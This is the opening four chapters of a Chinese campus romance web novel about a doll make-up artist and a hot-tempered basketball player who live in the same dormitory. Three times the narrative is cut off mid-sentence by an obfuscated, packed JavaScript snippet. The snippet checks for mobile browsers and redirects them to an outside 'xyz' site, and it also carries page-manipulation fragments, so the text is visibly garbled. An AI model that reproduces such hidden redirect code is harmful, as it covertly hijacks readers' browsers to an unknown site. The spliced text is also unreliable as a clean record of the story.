《掰弯凶神体育生的方法》 1. Chapter 1 “这些篮球特长生有什么好看的啊?我真的不理解。” 九月下旬的天气,简直是教科书级别的“秋高气爽”,外边天气晴朗,天空就像被水洗过的蓝色玻璃一样,偶尔有几团白棉花一样的云朵飘过来,毛茸茸的看上去很好撸。 如此美景不能在外边欣赏,而是陪着基友阮林在篮球馆看校男篮打训练赛,曲辞觉得自己是个大冤种。 尤其队里有三个是自己的倒霉室友,真是多看一眼都觉得晦气。 原本在老校区住的好好的,同寝室的都是本专业同学,谁知道大二集体搬来新校区,拿到自己新分的寝室号,曲辞心凉了半截。 本专业所有男生还在一起,只有他被分了出去。 再提着行李到新寝室一看,曲辞死的心都有了。 一进门,三个身高190左右的大柱子顶天立地杵在屋里,遮天蔽日的不说,恰逢酷暑未消的八月底,三个人满身大汗的味道能当面抽人一巴掌! 都是经管学院的篮球特长生。 特长生也是体育生,而体育生,是曲辞的一生之敌! 初中时期,他还是一颗豆芽菜的时候曾被体育生霸凌过,不是一次两次,而是持续了很长的一段时间。 那是曲辞有生以来的至暗时刻,尽管轻舟已过万重山,但刻板印象改不掉,而他遇到的体育生们总在不断加深他的这个印象。 跟体育生同一间宿舍对他来说如同身堕地狱,日夜遭受业火煎熬! 然而无故不得随意调换宿舍,他跟辅导员申请过,遭到无情驳回。 “篮球特长生身材好,腰窄腿长双开门,肌肉匀称又不至于太大块头,看着养眼,是我最好的人体模特呀!”阮林笑嘻嘻地说,歪头在他肩膀上讨好地蹭蹭,“辞哥舍命陪君子,今晚的鸡公煲我请!” “当然你请,这是我的精神损失费!”曲辞低着头,拿着触控笔在手里的平板上画效果图。 旁边的阮林也在平板上画画,画的是二次元风格的同人图。 俩人是高中同学,虽然不同班,但在美术生集训营里就成了好基友,一起艺考,被同一所大学录取,不同的是,曲辞学的是产品设计,阮林学的是动漫设计, 曲辞偏头看看他的平板:“画得怎么样?别辜负了我为你做出的牺牲。” “好着呢!”阮林大大方方向他展示自己的大作。 画上是两个穿着跨栏背心的人,虽然只有身体局部,但能看出来是两个男生,瘦削的那个叼着自己被撩起来的衣服下摆,手伸进对方的衣服里,他自己的腰则被对方的大手抚摸。 曲辞:“……” “又是黄.图?”他啧了一声。 阮林是网上小有名气的产粮太太,以风格大胆闻名,他笑嘻嘻地说:“怎么样,肤色差体型差拉满,性张力爆棚!” 深色皮肤的大手上手背血管微微凸起,食指点在纤细白皙的腰肢上,看得出来有向下滑动的趋势。 强壮的那个衣角只撩起了一部分,露出了结实的腹肌一角。 “这个肌肉男,身体我参考方谒画的。”阮林小声说,“斯哈不斯哈?!” 曲辞无语:“擦擦口水吧你,他有什么好的?冷面凶神似的。” “哎,你是直男你不懂!”男同阮林笑得春心荡漾。 曲辞确实get不到,尽管他承认一些体育生的身体肌肉轮廓确实漂亮,但感情上实在无法产生好感。 “哔”地一声,场下哨声响起,训练赛第二节结束,场上队员纷纷去场边,喝水的喝水,擦汗的擦汗。 有的人仿佛买不起毛巾,直接撩起衣摆擦脸。 阮林“哇”了一声,赶忙就地取材。 曲辞不经意地往下边一瞥,恰好跟方谒对上了眼。 这人算是同届学生里的顶流,刚入学的时候大名就让所有人如雷贯耳—— 篮球国家二级运动员、入校便被视为下届校队队长候选人;四肢发达头脑也不简单,虽然是特长生但高考总分超过一本线,被本校国际贸易专业录取; 据说算是出身豪门,母亲是著名律师事务所合伙人,父亲是富二代,已经独立挑起了家中贸易集团的大梁。 当然,以上全都是“画龙”,点睛的地方在于他是真的帅。 酷帅的帅,冷帅的帅,就算看起来凶神恶煞从不给人好脸,但没人能否认那张脸是女娲毕设里比较杰出的一张。 曲辞对体育生没有好印象,也承认方谒帅得很客观。 从大一起,追求此人的男男女女前赴后继,写情书的、上表白墙的、当面诉衷肠的,林林总总不下数百人,听说都遭到了冷漠的拒绝。 是冷漠,不是冷淡,校园里流传着方谒一句名言,那还是一个绝望的追求者崩溃地质问“你到底喜欢什么样的”时,他人机一样地回答:“抱歉,我不喜欢人类。” 也是被他装到了。 渐渐地,女生们不再出手,但有少部分胆大包天的男同还对他纠缠不休,于是校园里又有了方谒恐同的传闻。 据说他把一个对他纠缠不休的小0打进了医院,又仗着自己做律师的母亲撑腰,最后只是付了医疗费,轻松了事,而那小0却被学校劝退。 经过这些事,追求方谒的人基本已经偃旗息鼓,毕竟三条腿的蛤蟆不好找,两条腿的帅哥校园里并不缺。 之前曲辞跟这人并没打过照面,只是常常刷到他的照片,自从搬来了新校区,他住的寝室正是经管学院的片区,偶尔能在走廊上看到对方那195的挺拔身影。 曲辞自己也180,可在这帮篮球特长生面前,第一次觉得自己很娇小。 迄今为止俩人不算有交集,唯有方才那不经意的对视,居然算是第一次正面相对。 一个感觉,凶,真凶。 尤其刚结束一节比赛,那眼神跟要吃人似的。 眼型长得好看,很像漫画里画的那种眉目深邃的浓眉大眼,甚至有一点混血感,菱形的眼睛里能直接释放激光鲨人。 “看见了吧,那就是我们寝的‘小漂亮’。” 场边休息的队员里,石恒坏笑着撞了撞方谒的肩膀,往看台上曲辞的方向一扬下巴:“我觉得他一定是男同,问过,他没否认。今天居然来这儿看咱们练球,该不是看上谁了吧?最好别是我。” 说着抬手捋了捋被刮成青皮的一侧头发。 出于一个组织后卫的职业素养,方谒的观察力很好,刚才不经意地跟曲辞对上了眼神,一眼瞥过去,很快就把对方的模样记得很清楚。 面部轮廓柔和,五官清秀,在看台上零零散散坐着的一群人里非常鹤立鸡群,被叫做“小漂亮”很合理; 尽管长发绑成了个丸子头,但略显英气的气质并不会让人误认为他是女生; 宽松白衬衫配牛仔裤,清爽学院风,看得出衣品不错; 远看比较明显的是头肩比不错,脸很小,脖子纤长,细得他感觉自己一只手就能折断。 是不是男同不清楚,就算是,看上石恒的几率也是负的,傻逼自己也不照照镜子。 他没搭理石恒,刚从场上下来气儿还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345560|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喘匀,懒得说话。 石恒作为替补没上场,浑身有的是力气,这会儿还在喋喋不休:“听说曲辞,哦,就是内‘小漂亮’,很牛逼,专业分第一考进咱们学校,参加了好几个社团,都是些二次元,女生当中人缘特好,听说还有人暗恋他。我看这些女生真是瞎了眼,怎么连他是男同都看不出来。” 方谒依旧没吭声,一小口一小口地喝着水。 “你还别不信,这人绝对不直,不知道他有什么毛病,他喜欢玩洋娃娃,公主裙卷头发的那种。”石恒继续絮絮叨叨地说。 方谒微微蹙眉,偏头看他。 见吸引了顶流的目光,石恒来了劲:“真的,不骗你,书架上摆满了各种盒子,都是洋娃娃的脑袋,妈的大半夜瞅一眼能给我吓尿——” “哔”地一声,第三节比赛开始,方谒毫不留情把水杯一放,起身上场。 石恒跟他嘀嘀咕咕,曲辞自然是看在眼里的。 开学半个多月,其他俩室友都还说得过去,就这货最贱,偏偏还像是卖剑的,随时随地都要贩(犯)一下,被收拾了几次屡教不改。 八成是在八卦自己,狗嘴里肯定吐不出象牙。 最好别传我耳朵里,否则再收拾你! 阮林往曲辞手里的平板瞥了一眼:“画得够快的,帝政裙吗?大工程。” “嗯,四分娃全妆,加衣服头发全包。”曲辞生成图片,发给客户等反馈。 “这一套不便宜吧?” “她这娃体买来就六千,我这边包工包料四千。” 阮林同情地说:“刨去成本你也就赚个手工费,真是为爱发电。” “老客户了,我得对得起人家的信任。”曲辞收起平板。 他当BJD娃娃妆师不过一年多的时间,但因为手艺好,还能做娃衣,综合性价比比较高,回头客特别多。 娃娘为了养娃都是不惜血本的,只要认准了妆师的手艺,多少钱都愿意掏,曲辞不会漫天要价,他更在意自己的信誉。 客户也是大学生,这会儿应该还在上课,没有立刻回复,曲辞伸头去看阮林笔下初具雏形的人脸:“你这就是画的方谒吧,小心人家找你收版权费。” “不要侮辱本大手的画技。”阮林正色道,“这不能怪我,要怪就怪他是建模脸,怎么画多多少少都会有些相似。” 球场上骤然传来巨大的喧哗声,原本有节奏的篮球弹跳声和球鞋摩擦声被一团混乱所取代。 俩人望过去,就见方谒和另一个队员不知道因为什么起了冲突,俩人鼻尖贴鼻尖,胸口撞胸口,全都横眉怒眼,一副马上要打起来的样子。 教练不在,充当裁判的助理教练威压不够,压不住两个人,其他队员在旁边推推搡搡,有的拉架,有的煽风点火,嚷嚷得声音巨大。 室内场馆有些空旷,一时听不清谁在说什么。 再下一秒,就见方谒突然暴怒,狠狠把对方往后一推,那人显然是有点害怕,后退了几步撒腿就跑。 方谒甩开长腿追了过去,经过墙边的时候,顺手抄起了清洁大婶桶里的拖把,在场馆里绕圈追在那人身后打。 阮林看得双眼发直,冒出了小心心:“我的天,好man啊!” “孩子你长点心吧。”曲辞叹了口气,“这个呐,就叫做超雄。” “咣”地一声,那根拖把砸在了被揍的人身上,接着弹到了他们前边一排座位,巨大的响声把他俩都吓了一跳。 曲辞惊愕地看过去,跟气喘吁吁、杀神一般的方谒又一次对上了眼神。 2. Chapter 2 “行啊你们,我出去一会儿们就打起来了?这么能打,怎么球打得那么烂呢?!” 篮球场里,主帅牛教练背着手,阴阳怪气地看着面前一排做低眉顺眼状的长人阵。 方谒现在已经十分平静,面无表情地双手背后,跨立在队伍的最头上。 但从牛教练的角度看过去,依旧是一脸杀气。 他旁边站着的就是被单方面殴打的对象田志奇,此刻脸上青红一片,表情沮丧。 牛教练看着这帮活祖宗心里就来气:“年底就要打联赛了,你们这个水平不怕出去丢人现眼,还好意思打架?!谁先挑的头,主动承认,别逼我上手段!” 其他人你看我我看你,谁都没吭声,只有方谒往前走了一步,目视前方:“是我。” “原因?” “没什么原因,就是看他不顺眼,我认罚。” 牛教练带过多少届队员,对他们的尿性再清楚不过,血气方刚的大小伙子,随便一颗火星子都能打起来,追问原因确实没什么意义。 “好,你们几个全体都有,折返跑100个来回,蛙跳20个来回,行进间运球40个来回,做不完别走!叫你们精力过剩,心思还不放在训练上!” 所有队员面露难色,极不情愿地回答:“是——” 石恒小声嘀咕:“凭什么一起挨罚,我们又没打。” “别以为我不知道你们几个煽风点火!要是拉得及时能打起来吗?”牛教练眼珠子瞪得溜圆。 其他人纷纷低下头,不敢吭声。 “现在,你们两个握手言和,互相道歉。”牛教练冲方谒和田志奇一扬下巴,“下回再打架,都他妈给我禁赛!” 田志奇老老实实转过身去,主动向方谒伸出手。 方谒站在那儿跟铁塔似的动都不动,神情极为冷淡地说:“不好意思,我怕脏了手。” 牛教练当即暴走:“方谒!你这个态度——” “我认错认罚,握手就免了,刚才的罚练我加一倍!”方谒大声道。 “行,你牛逼!我看你怎么罚双倍!”牛教练随手指了一下石恒,“你,看着他做完,别想包庇,回头我查监控!” 石恒一脸郁闷:“……” “可能是今天篮球队打架挨训了吧,他们到现在都还没回来,宿舍是我的了,哈哈!” 跟基友吃完鸡公煲回到寝室,抢在空无一人时先洗了澡,吹完头发之后室友还没回来,曲辞心情十分美好,坐在书桌前边准备开工,顺便给阮林发了条语音。 比起三个篮球特长生那比大脑还空荡的桌子,曲辞这边一眼望过去有些吵到眼睛。 乱倒是不乱,反而很温馨。 书架上除了专业书之外,摆满了各种整整齐齐的收纳盒、瓶瓶罐罐还有各种笔筒,桌子两侧镶了两个洞洞板,上边同样挂满了隔板,隔板上一格一格地放着很多六分娃头,都是曲辞用来练手的,有一部分上好了妆,有一部分还是空白的“水煮蛋”,眼珠的位置都空着。 这面架子猛一看确实有点吓人,所以他挂了个漂亮的布帘子给它们挡住了,但架不住有些人手贱,比如那个石恒,灯光微弱的时候一把撩开,被吓成了尖叫鸡,把曲辞爽得不行。 电线杆子那么高的篮球特长生胆子小得跟蚕粑粑似的,又菜又爱玩,真是活该。 跟他们三个住一屋并非没有好处,床都是特制加宽加长的,对曲辞来说,睡起来空间大,很舒服。 寝室面积也大些,再加上篮球生的东西少,有大片公共空间空出来。跟他们友好协商之后,曲辞占用了一部分,放了他的缝纫机和收纳箱,还在阳台放了给娃上妆用的喷漆箱和烘干箱。 需要付出的代价就是承担寝室公共区域的基本清洁,拖地扫地都由他包圆了。 这倒算不上吃亏,因为那三个人看起来卫生习惯堪忧,就算是排值日生,恐怕他们也做不好,还有可能借训练的名义逃避不干,到时候还得是曲辞骂骂咧咧地把活儿给干了。 与其带着情绪做额外的事,不如提前把这部分工作揽下来,同时换取一点好处。 个人卫生部分他是不管的,篮球特长生们衣服乱扔臭袜子乱飞,他见一次骂一次,从来不留情面,活活把他们骂改了。 搬寝到现在半个多月过去,305寝的卫生环境让他十分满意,甚至连续两次夺得了本楼层的流动红旗,真是令人心安的局面。 “滴”地一声,手机响了,是娃娘看完了效果图之后发来的修改意见。 娃娘希望这次的娃娃妆容里那种清冷又略带魅惑的感觉更明确一点,还要有稍稍的病娇感。 虽说在曲辞看来,“清冷”跟“魅惑”和“病娇”简直就是反义词,但一个优秀的乙方对客户的要求只有一个标准答案,那就是——“好的收到”。 曲辞拿出平板,调出绘图软件,戴好耳机,进入工作模式。 对着图发了一会儿呆,还是没找到感觉,他干脆从书架上抽出折叠镜放在桌上,把自己散下来的头发拨到一侧,对着镜子开始捏脸。 清冷,眼睛微微眯起,删掉脸上表情; 略带魅惑,微微侧脸,找个角度,睫毛和上扬的眼尾形成一个小钩子; 病娇,眼神微微闪烁,带上一抹转瞬即逝的疯狂。 曲辞随手抽出一支眼影笔,再从抽屉里翻出眼影盘,对着镜子迅速给自己画了一圈棕色眼影,再打上一点亮亮的散粉,微微垂眸。 很好,有那儿味了! 正捧着镜子想象这妆上了娃脸上该怎么展现,鼻端就闻见了熟悉的汗味,接着看见镜中自己的脸后边,出现了石恒那张大脸。 此人头顶留了点卷发,两侧和后脑勺下半部分推成青皮,大约是想cosplay《灌篮高手》里宫城良田的发型,但这发型挑人,好不好看全靠脸,靠他的脸,不成。 耳机里放得音乐太吵,居然没注意他们已经回来了,曲辞不爽地摘掉耳机,转过去仰头瞪他:“看什么?有没有一点边界感?!” 他那个眼妆就是随手撸来找感觉的,一点底妆没打,也没涂睫毛膏,但由于人长得好,睫毛天然十分浓密,这会儿又被书桌上昏黄的灯光照着,落在石恒的眼里,把他美得愣了一下。 方才从镜子里偷看的时候还没觉得怎么样,这会儿面对面看到正脸,距离如此之近,发现这张脸实在摄人心魄。 一瞬间石恒那没怎么长褶的大脑里只觉得这个人真好看,根本来不及思考男女。 再看到面前曲辞嫌弃的目光,他像是被针扎了一般后退一步,继而嗤笑着说:“又没偷看你换衣服,你激动什么?在寝室里涂脂抹粉的,怎么还不让看了?小漂亮,你就是男同吧?想勾引我们谁啊?” 另外俩室友,一个是人精尹旭,一个是萌蠢毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345561|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彦明,刚站在自己的床边把上衣脱了,这会儿听见石恒的惹事发言,震惊地对视了一眼。 磨合了半个月,大家对曲辞看上去小白花实则丧彪的真相已经认识得足够到位,四人相处也算表面和平,这厮现在搞什么鬼? 石恒这会儿情绪不正常,主要是被方谒连累,挨了罚不说,还得留下来看着他罚完双倍,心情实在不爽,但在方谒面前还不敢吭声,只能把这种不甘心憋在心里。 就连尹旭和毛彦明友情留在球场里陪他都没用。 更重要的是,方才那一刻他是真的被曲辞的脸给震撼到了,接着惨遭嫌弃,登时恼羞成怒,口出狂言。 其实话一出口他就后悔了,但没办法,人要脸树要皮,自己胡言乱语说的话,咬着牙也得撑下去。 曲辞当即站起来,把自己坐着的电脑椅往旁边一踹,走到190的石恒面前,双臂抱胸,仰头冷漠地看着他:“你说什么?敢再说一遍吗?” “呵,有什么不能承认的?都什么时代了,我们又不恐同。”石恒坏笑着看他,“今天去篮球馆看谁了?尹旭?毛毛?” 听到自己的名字从这傻逼嘴里蹦出来,尹旭闭了闭眼,刚想开口阻止,就听石恒笑得意味深长,油腻腻地跟上一句:“还是……我?” 行,天作孽,犹可恕,人作死,爱咋咋吧。 “你?”曲辞没想到他的脑袋瓜子还能想出这种可能性,简直气笑了。 既然你把脸伸过来打,那我要是不打,岂不是不太礼貌? 他冷笑道:“你配吗?” “凭什么觉得我是男同就会喜欢你?” “凭你不讲卫生?凭你不洗澡?” “还是凭你大脑皮层做了拉皮手术?” 石恒明显一开始没理解最后这话什么意思,眼神涣散了半秒,接着明白过来,顿时怒火中烧。 他往前走了一步,仗着自己身高的压迫感,居高临下地质问:“你他妈的——” 还没等他骂完,曲辞就又来了一句:“球打得稀烂,一天到晚就只能坐冷板凳的替补在这自恋什么呢?要是没镜子照,篮球馆光滑的地面总能照出你那张丑脸吧?” “我艹!” 石恒气得脸红脖子粗,距离这么近不方便抡拳,他伸手就要掐曲辞的脖子。 曲辞眼疾手快地双手握住他的手腕,迅速后撤一步,把石恒向前拉得重心前移,接着上半身迅速向内侧反转,扭得对方的手臂转了个圈,不由自主松开了手。 他侧身卡住石恒,一手反转对方手腕,一手把怀里手臂往上抬,逼着石恒只能弓下腰,完全挣脱不了! 曲辞转头轻蔑地看着他:“想脱臼的话说一声,我保你参加不了年底的联赛。” “我投降!我认输!”石恒低着头,脸充血得厉害,“疼疼疼!” 曲辞勾起唇角:“还敢惹我吗?” “不敢了不敢了!” “记住你今天说的话!” 曲辞没好气地松开了石恒的手,亖人一身臭汗味直冲天灵感,快熏死他了。 一抬头,愕然看见宿舍门开着,附近宿舍的几个篮球特长生正在围观吃瓜。 在他们身后,露出了方谒那张略带怒意的人机脸。 曲辞:“……” 下午才发过病,现在还要发吗? 来啊,小爷鲨疯了,连你一起收拾! 3. Chapter 3 方谒纯纯就是路过,被堵在了305门口,不经意间看到了这一幕。 他甚至没有看全程,只看见曲辞抱着石恒的胳膊,不知道两人在干嘛。 跟曲辞再一次对上目光之后,他也没注意到对方脸上有妆,只是扒开人群往自己宿舍方向走去。 老牛下手忒狠,自己还罚练了双倍,再是先天篮球圣体也吃不消,他特意把蛙跳放在最后,练完了一路走回来,觉得腿还在发软,只想赶紧洗个澡躺平。 所以刚才被挡住路,心情属实不爽,脸色不大好看。 疲惫地推门进了308,就见基友应寒从床上探出头来:“回来了?腿废了吗?” “明天早训跑操照样套你一个圈。”方谒拿了衣服,推门进了浴室。 应寒笑笑,缩回床上去,继续躺着打游戏。 十分钟洗了个战斗澡,方谒擦着头发出来,胡乱拿吹风机吹了吹,疲惫地坐在自己的书桌前,拿起桌上放着的一个欧包,拆开狠狠地咬了一口。 “谢了。”第一口咽下去之后,他跟应寒说。 应寒目不转睛地盯着手机屏幕:“客气。” 俩人一个玩一个吃,片刻房间里没动静,方谒吃完面包,咕咚咕咚灌了半杯水,去洗手间匆匆忙忙刷了个牙,回来长腿一撩上了床,躺平之后发出了一声满足的喟叹。 俩人的床是挨着的,目前躺了个脚对脚,对面靠墙还有两张床,其中一张就属于今天跟他打架的田志奇,另一个室友叫章平,俩人都没回来,不知道上哪去了。 “你怎么不跟老牛说田志奇打球手脏的事儿?我看见他故意踩你脚了。”玩完了一局游戏,应寒放下手机说。 方谒也扒拉了一下自己的手机,有不少消息,但他懒得回,锁屏丢在了一边,抬头看看自己脚面上青了的那一块:“说了也没用,老牛顶多对他口头教育,这人油盐不进,回头我亲自把他收拾服了。” “你打算怎么收拾?小心又像上次那样,传你把人打出毛病来最后只拿钱平事儿,你名声还要不要了?” “无所谓,正好清净。反正我是不会让田志奇这种人留在队里,一颗老鼠屎坏了一锅汤。”方谒枕着手臂说,“到时候打联赛,我不想咱们学校被人挂网上骂。” 应寒勾了勾唇角:“真是有大局观,为了学校苦了你了。” “滚吧你,回头练练投篮,你今天投了几个三不沾自己算算,手上沾黄油了?还最佳射手呢,丢不丢人!”方谒疲惫地闭上眼睛。 “真严格啊方教练,我的职业之路由你来守护。”应寒直乐,“等回头咱俩一起进职业联赛。” 进职业联赛? 真是一个美好的梦想。 方谒迷迷糊糊地想。 对于曲辞来说,今晚则是个美妙的夜晚。 他教训石恒的过程被围观的同学拍了下来,几乎发遍了学校里各个群,很快他就收到了同班同学、社团朋友还有基友发来的慰问微信,高度赞扬他为民出气。 尤其是社团的几个女生,都在说石恒油腻讨厌还自以为很帅,到处撩骚惹人烦,又不好意思直接骂他,现在看了视频超解气。 曲辞跟她们传授自己的秘籍——这种人就得照脸呼,呼疼了呼爽了,他下次就不敢惹你了。 对于霸凌者,就得放下个人素质,享受缺德人生。 这个心得可是血的教训换来的。 曾几何时,他还是个善良大方、对人有礼貌的豆芽菜,初中的时候身高还不到一米六,背着画架拎个水粉盒看上去都要摇摇欲坠,学校里一帮傻叉体育生把他选做了目标,闲着没事就来欺负他。 练得好的苗子早就进省队或者体校了,他们学校里这帮垃圾不过就是蹭个加分而已,心思都不在训练上,更不在学习上,就知道显摆自己的“阳刚”。 学霸都是各班主任的心头宝,他们不想惹麻烦;学渣比他们还穷凶极恶,他们不敢动;动女生会被人笑话,还影响他们早恋;唯一能欺负的就是曲辞这种没有反抗能力的小男生。 那会儿曲辞爸妈刚离婚,原因是渣爹劈腿,被老妈去宾馆抓了个现行,老妈是个刚强又要脸的人,毅然决然和他分开,自己努力赚钱维持生计。 本来学美术就很费钱,曲辞不想给老妈添心思,不敢告老师,也怕那些体育生们挨过一次训会对自己变本加厉,于是咬牙忍着霸凌,日夜期盼着初中快点毕业,好离开这个地狱。 然而谁知道呢,施暴者这群变态就喜欢看人服软,看人因为自己的淫威而恐惧害怕,所以越委曲求全,他们越兴奋。 因此,初中三年,曲辞没逃得过他们的魔爪,三天两头被找麻烦,不是被抢走饭钱,就是被毁了画板和颜料,要么就是被弄去洗手间挨揍,每天都活在惊恐当中。 但那会儿他咬牙坚持下来了,钱没了他可以挨饿,反正吃得不多,偷摸帮朋友画点作业,也能换点吃的;颜料画材被弄坏了,他就到学校门口跟美术用品店老板套近乎,年纪太小不能打工,他就帮忙看店干活,换点新颜料。 磕磕绊绊地读完初中,本以为上了高中能松口气,然而军训的时候他一个人去水房打水,被熟悉的影子围上来的时候,就知道是他太乐观了。 但那次他没有再忍让,不是美德突然消失了,而是有些绝望。 高中三年他真的想好好学习,好好练画,将来能考一个好大学,能尽快赚钱帮妈妈减轻负担,他比任何人都经不起折腾。 如果还要被霸凌的话,那么大家就一起死吧! 我不能好过,那你们就跟我一起下地狱! 那天的曲辞单挑了五个比他高出一头的体育生,自此一战成名。 具体经过是怎么样的他已经记不清了,只记得那时候自己头脑一片空白,冲上去就干,先抱着一个死不撒手,混乱中好像咬了对方好几口。 从小就是个文明人,曲辞自然是不懂得怎么打架,出手全凭本能,薅头发、扯衣服、抬脚踹,总之那个瞬间十分疯狂,直到最后有个军训教官冲进来把他们分开。 虽然五个体育生受伤惨重——据说除了有被曲辞弄伤的,还有被同伙误伤的——但教官一眼就看出怎么回事,当场打电话叫来了年级主任,年级主任又通知了各班班主任。 那位军训教官是个眼里不揉沙子的人,应当也是见过不少这种霸凌事件,话里话外都是在为曲辞争取利益,让当时被从头到脚泼了一身凉水的曲辞感到暖心。 有他作证,年级主任很快对这件事做出了处罚,并且由于这是新生刚入学,从重从严,以儆效尤。 五个体育生记大过一次,停课两周,并在返校后当着全校做检查,同时负责曲辞所有的医药费。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345562|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >曲辞受伤并不重,不稀罕他们的臭钱,只要求这件事不要告诉妈妈。 自此,他尝到了发疯的快乐,开始转变策略——火爆小辞,不服就干! 从今往后,再也不让任何人欺负自己! 那位军训教官对他也很友善,看出来他应当会是被霸凌者盯上的类型,主动教了他几招防身术。 曲辞反复练习,并且在每一个不甘心找上门来跟他“切磋”的废物身上实践,终于肉身成圣。 他不仅保护了自己,还路见不平拔刀相助,只要看见有人被霸凌,一定会上去帮忙。 阮林就是受益者其中之一,自从被曲辞救了之后,他就加入了“辞门”,以至于跟着曲辞考同一所大学,成为了一只忠心不二的“小走狗”。 曲辞从此坚定一个信条:惹我者,必将其碎尸万段,谁也别想在小爷头上动土! 昨晚方谒在门口那目光凶恶的一瞥,他也记在了心里。 此人虽然不像爱管闲事的人,可毕竟跟石恒是队友,石恒跟他像是看起来关系不错的样子,万一要找机会报复自己呢? 一切体育生都是自己的死敌,不得不防。 “我看你还是防着点吧。” 早训结束之后,大家都在跑道旁边拉伸,石恒一边压腿,一边对方谒说。 方谒正半跪在一边垫子上掰小腿,闻言头顶缓缓冒出一个“?”。 石恒煞有介事地说:“我们寝那个曲辞,百分百喜欢男的,你知道昨天我回宿舍的时候看见什么了?” 方谒不语,自顾自继续掰腿。 他对别人的事不感兴趣,不过提到曲辞,他倒是想起来昨晚那一幕,此人抱着石恒的胳膊,披着长头发,远看有点像小姑娘。 “我看见他化了妆,对着镜子在那儿挤眉弄眼,一看就是在练勾人的招数!”方谒面无表情是常态,没反应像个人机也属正常,石恒没管他,自顾自往下说,“我偷偷拍了照,给你看!” 说着把口袋里的手机掏出来,调出照片,“贴心”地调出了照片并且放大,还把手机屏幕朝上,放在了方谒跪着的垫子上,继续絮絮叨叨地说:“看,还画了眼影,眼皮上亮晶晶的妖里妖气,不知道涂了什么别的东西,直男谁干这个?” 方谒本来是不想看的,但一垂眸就看见了,屏幕上是曲辞的大头照,长发拢到一侧,被修饰过的双眼看上去清冷,但眼角带钩,眼神还有那么一丝丝病态。 现在看得出眼睛一圈黑黑的是眼妆,昨晚上那一瞥,还以为他黑眼圈有点重。 总体而言,虽然是男生,但妆容不算违和。 反正就那样吧,他无感。 见大冰山居然真的看了照片,石恒更加来劲:“你知道吧?他还穿女装,是个伪娘!他有个简易衣柜,占了我们寝一大块地方,里边有公主裙!虽然他还没在我们跟前穿过,但听说他跟二次元那些社团一起玩的时候会穿。谁家直男玩那cosplay会穿小裙子?!” 方谒对二次元完全不了解,也没兴趣,不过这会儿听他絮叨得有点烦,拉伸完站了起来:“关我屁事。” “当然关你的事!”石恒捡起手机,表情凝重地说,“我打听到了,昨天他去篮球馆就是看你的!昨天我问他,他恼羞成怒,才一言不合就动手!” “方谒你小心再被男同缠上啊!” 4. Chapter 4 方谒没理会石恒的“忠告”,冷笑了一声,转身往体育场大门口走去。 昨晚只吃了一个欧包,这会儿训练完,饿得前胸贴后背,实在没什么耐心听人絮叨。 但石恒不懂什么叫见好就收,跟在他旁边继续强调重点:“方谒,你可千万别放松警惕,要是被他缠上就完了!他这人脸皮厚得很,胆子也大,说不定直接就往你身上贴——” “像反手拧住你关节那样?”方谒揶揄地反问。 石恒:“……” 他没想到那视频方谒也看了,这浓眉大眼凶神恶煞的人机还看这些八卦? 方谒当然不会主动看,是应寒早上刷牙的时候当笑话给他看的。 他倒是没想到,曲辞那细胳膊细腿,居然还有这个身手。 不过也完全没怎么在意。 要不是石恒在跟前喋喋不休让他觉得烦躁,他也不会提起这事儿。 看对方还要张口,又跟着补充了一句嘲讽:“一个美术生都能把你手臂撅了,我看你趁早收拾收拾退队吧。”说罢转身往不远处喊了一声,“应寒,你腿断了?” “来了来了!”应寒一溜小跑跟上来,跟方谒并肩离开。 石恒讨了个没趣,站在原地显得有点灰溜溜的,这会儿身边走过来俩人,是拉伸完的尹旭和毛彦明。 “你说你昨天惹曲辞干嘛?闲得没事儿干了?”尹旭把他的离谱行径尽收眼底,不理解他大脑哪一个部分发生了病变,“今天跑来方谒面前造谣,是有什么心事吗?” “造什么谣了?我哪造谣了?曲辞就是化妆,就是伪娘,我好心好意来提醒方谒,他不领情拉倒,回头被小基佬缠上可别来找我!”石恒愤愤跑开。 早八前的食堂里非常热闹,尤其是体育场旁边的二食堂,这里提供来自天南地北的各种小吃,是早起者的福利,早八人的安慰剂。 曲辞昨晚灵感迸发,连夜把效果图改了发给娃娘,恰好娃娘也是个夜猫子,很快给了他反馈,表示这次的修改她很满意,现在已经在期待成品了。 收到回复他才安心睡下,短短四个小时之后的现在,顶着一双惺忪睡眼出现在了二食堂。 此刻有些怀念以前的寝室,至少起不来还能有个给带饭的,现在那三个篮球特长生可指望不上,他们早上起床去早训,叮叮咣咣的能不把他吵醒已经是谢天谢地了。 “啊,困死我了。”曲辞捂着嘴打了个哈欠。 从宿舍一路走到这儿,已经困到泪眼朦胧。 阮林看了看食堂门口的投币式咖啡机:“我给你接杯咖啡吧?” 